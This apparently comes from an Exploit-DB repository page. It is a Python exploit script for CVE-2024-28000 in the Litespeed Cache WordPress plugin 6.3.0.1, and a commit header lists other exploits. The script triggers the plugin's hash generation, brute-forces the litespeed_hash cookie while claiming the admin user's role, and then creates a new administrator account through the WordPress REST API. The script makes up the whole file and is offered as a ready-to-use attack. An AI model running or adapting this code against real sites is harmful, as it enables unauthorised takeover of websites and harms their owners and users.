3cfac1e6a4
15 changes to exploits/shellcodes/ghdb AirKeyboard iOS App 1.0.5 - Remote Input Injection Parrot and DJI variants Drone OSes - Kernel Panic Exploit Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI Anchor CMS 0.12.7 - Stored Cross Site Scripting (XSS) Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation PHP CGI Module 8.3.4 - Remote Code Execution (RCE) Microsoft Excel Use After Free - Local Code Execution PCMan FTP Server 2.0.7 - Buffer Overflow PCMan FTP Server 2.0.7 - Remote Buffer Overflow WebDAV Windows 10 - Remote Code Execution (RCE) Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
129 lines
No EOL
3.9 KiB
Python
Executable file
129 lines
No EOL
3.9 KiB
Python
Executable file
# Exploit Title: Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation
|
|
# Date: 2025-06-10
|
|
# Exploit Author: Milad Karimi (Ex3ptionaL)
|
|
# Contact: miladgrayhat@gmail.com
|
|
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
|
|
# Country: United Kingdom
|
|
# CVE : CVE-2024-28000
|
|
|
|
|
|
import requests
|
|
import random
|
|
import string
|
|
import concurrent.futures
|
|
|
|
# Configuration
|
|
target_url = 'http://example.com'
|
|
rest_api_endpoint = '/wp-json/wp/v2/users'
|
|
ajax_endpoint = '/wp-admin/admin-ajax.php'
|
|
admin_user_id = '1'
|
|
num_hash_attempts = 1000000
|
|
num_workers = 10
|
|
new_username = 'newadminuser' # Replace with desired username
|
|
new_user_password = 'NewAdminPassword123!' # Replace with a secure password
|
|
|
|
def mt_srand(seed=None):
|
|
"""
|
|
Mimics PHP's mt_srand function by setting the seed for random number
|
|
generation.
|
|
"""
|
|
random.seed(seed)
|
|
|
|
def mt_rand(min_value=0, max_value=2**32 - 1):
|
|
"""
|
|
Mimics PHP's mt_rand function by generating a random number within the
|
|
specified range.
|
|
"""
|
|
return random.randint(min_value, max_value)
|
|
|
|
def generate_random_string(length=6):
|
|
"""
|
|
Generates a random string based on the output of mt_rand.
|
|
"""
|
|
chars = string.ascii_letters + string.digits
|
|
return ''.join(random.choices(chars, k=length))
|
|
|
|
def trigger_hash_generation():
|
|
payload = {
|
|
'action': 'async_litespeed',
|
|
'litespeed_type': 'crawler'
|
|
}
|
|
try:
|
|
response = requests.post(f'{target_url}{ajax_endpoint}',
|
|
data=payload)
|
|
if response.status_code == 200:
|
|
print('[INFO] Triggered hash generation.')
|
|
else:
|
|
print(f'[ERROR] Failed to trigger hash generation - Status
|
|
code: {response.status_code}')
|
|
except requests.RequestException as e:
|
|
print(f'[ERROR] AJAX request failed: {e}')
|
|
|
|
def attempt_hash(hash_value):
|
|
cookies = {
|
|
'litespeed_hash': hash_value,
|
|
'litespeed_role': admin_user_id
|
|
}
|
|
try:
|
|
response = requests.post(f'{target_url}{rest_api_endpoint}',
|
|
cookies=cookies)
|
|
return response, cookies
|
|
except requests.RequestException as e:
|
|
print(f'[ERROR] Request failed: {e}')
|
|
return None, None
|
|
|
|
def create_admin_user(cookies):
|
|
user_data = {
|
|
'username': new_username,
|
|
'password': new_user_password,
|
|
'email': f'{new_username}@example.com',
|
|
'roles': ['administrator']
|
|
}
|
|
try:
|
|
response = requests.post(f'{target_url}{rest_api_endpoint}',
|
|
cookies=cookies, json=user_data)
|
|
if response.status_code == 201:
|
|
print(f'[SUCCESS] New admin user "{new_username}" created
|
|
successfully!')
|
|
else:
|
|
print(f'[ERROR] Failed to create admin user - Status code:
|
|
{response.status_code} - Response: {response.text}')
|
|
except requests.RequestException as e:
|
|
print(f'[ERROR] User creation request failed: {e}')
|
|
|
|
def worker():
|
|
for _ in range(num_hash_attempts // num_workers):
|
|
random_string = generate_random_string()
|
|
print(f'[DEBUG] Trying hash: {random_string}')
|
|
|
|
response, cookies = attempt_hash(random_string)
|
|
|
|
if response is None:
|
|
continue
|
|
|
|
print(f'[DEBUG] Response status code: {response.status_code}')
|
|
print(f'[DEBUG] Response content: {response.text}')
|
|
|
|
if response.status_code == 201:
|
|
print(f'[SUCCESS] Valid hash found: {random_string}')
|
|
create_admin_user(cookies)
|
|
return
|
|
elif response.status_code == 401:
|
|
print(f'[FAIL] Invalid hash: {random_string}')
|
|
else:
|
|
print(f'[ERROR] Unexpected response for hash: {random_string} -
|
|
Status code: {response.status_code}')
|
|
|
|
def main():
|
|
# Seeding the random number generator (mimicking mt_srand)
|
|
mt_srand()
|
|
|
|
trigger_hash_generation()
|
|
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=num_workers) as
|
|
executor:
|
|
futures = [executor.submit(worker) for _ in range(num_workers)]
|
|
concurrent.futures.wait(futures)
|
|
|
|
if __name__ == '__main__':
|
|
main() |